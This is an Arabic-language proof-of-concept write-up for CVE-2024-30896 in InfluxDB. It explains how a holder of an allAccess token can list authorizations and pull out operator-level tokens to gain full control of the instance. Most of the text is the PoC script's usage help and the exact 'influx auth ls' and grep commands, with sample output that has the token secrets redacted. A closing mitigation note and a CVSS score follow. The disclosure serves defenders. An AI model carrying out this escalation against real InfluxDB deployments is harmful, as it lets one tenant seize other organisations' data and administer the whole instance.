
استغلال إثبات المفهوم لـ CVE-2024-30896، ثغرة تصعيد امتيازات في InfluxDB تسمح لحاملي رموز allAccess بالوصول إلى مستوى المشغل عبر سرد رموز التفويض.
خلل في منطق الأعمال في influxdb يسمح للمستخدمين الذين يمتلكون رمز allAccess صالحًا برفع صلاحياتهم إلى مستوى المشغل عن طريق سرد رموز التفويض الحالية.
قد يكون المهاجم مستخدمًا حصل على وصول من مسؤول عبر رمز allAccess فقط داخل مؤسسته. ستسمح أذونات هذا المستخدم بالتحكم الكامل في المؤسسة ولكنها ستمنعه من التفاعل مع المؤسسات الأخرى.
سيسمح هذا الثغرة للمستخدم بالحصول على وصول غير مقيد لمثيل influxdb. قد يؤدي حالة مماثلة إلى اختراق كامل للسرية والنزاهة والتوفر للبيانات المملوكة لمستخدمين من مؤسسات مختلفة. بالإضافة إلى ذلك، نظرًا لأن رمز المشغل لديه أذونات إدارية، فقد يتم اختراق توفر ونزاهة مثيل influxdb بأكمله.
استخدام السكريبت
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]
optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
influx auth ls -t <allAccessToken> | grep write:/orgs. سيؤدي هذا إلى سرد جميع رموز المشغل النشطة الحالية على مثيل influxdb.مثال
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]
# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]
رموز allAccess افتراضيًا لديها أذونات لسرد جميع التفويضات المحددة في نفس المؤسسة دون قيود على النوع (مخصص، allAccess، مشغل) -> read:orgs/87d0746948a3b3f5/authorizations.
عند التشغيل، سيقوم influx setup بإنشاء أول مؤسسة (افتراضية)، حيث سيتم تخزين رمز مشغل تلقائيًا. يجب منح المستخدمين وصولاً فقط إلى المؤسسات الثانوية المنشأة. يُنصح بإنشاء عدة مؤسسات ومنح المستخدمين فقط تلك التي لا تحتوي على رمز مشغل.
نقاط الأساس CVSS: 9.1
متجه CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H